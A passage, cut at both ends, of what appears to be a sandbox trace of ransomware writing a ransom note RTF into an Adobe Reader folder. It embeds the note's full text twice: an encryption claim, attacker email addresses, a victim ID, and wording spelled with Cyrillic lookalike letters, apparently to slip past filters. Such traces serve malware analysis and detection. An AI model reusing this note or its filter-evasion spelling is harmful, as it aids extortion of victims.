th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nn", lpUsedDefaultChar=0x0) returned 14086 [0040.572] WriteFile (in: hFile=0x1cc, lpBuffer=0x25c5dd8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0040.573] CloseHandle (hObject=0x1cc) returned 1 [0040.573] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rum\\!bwng_info!.rtf")) returned 0xffffffff [0040.573] GetLastError () returned 0x2 [0040.573] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rum\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0040.574] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 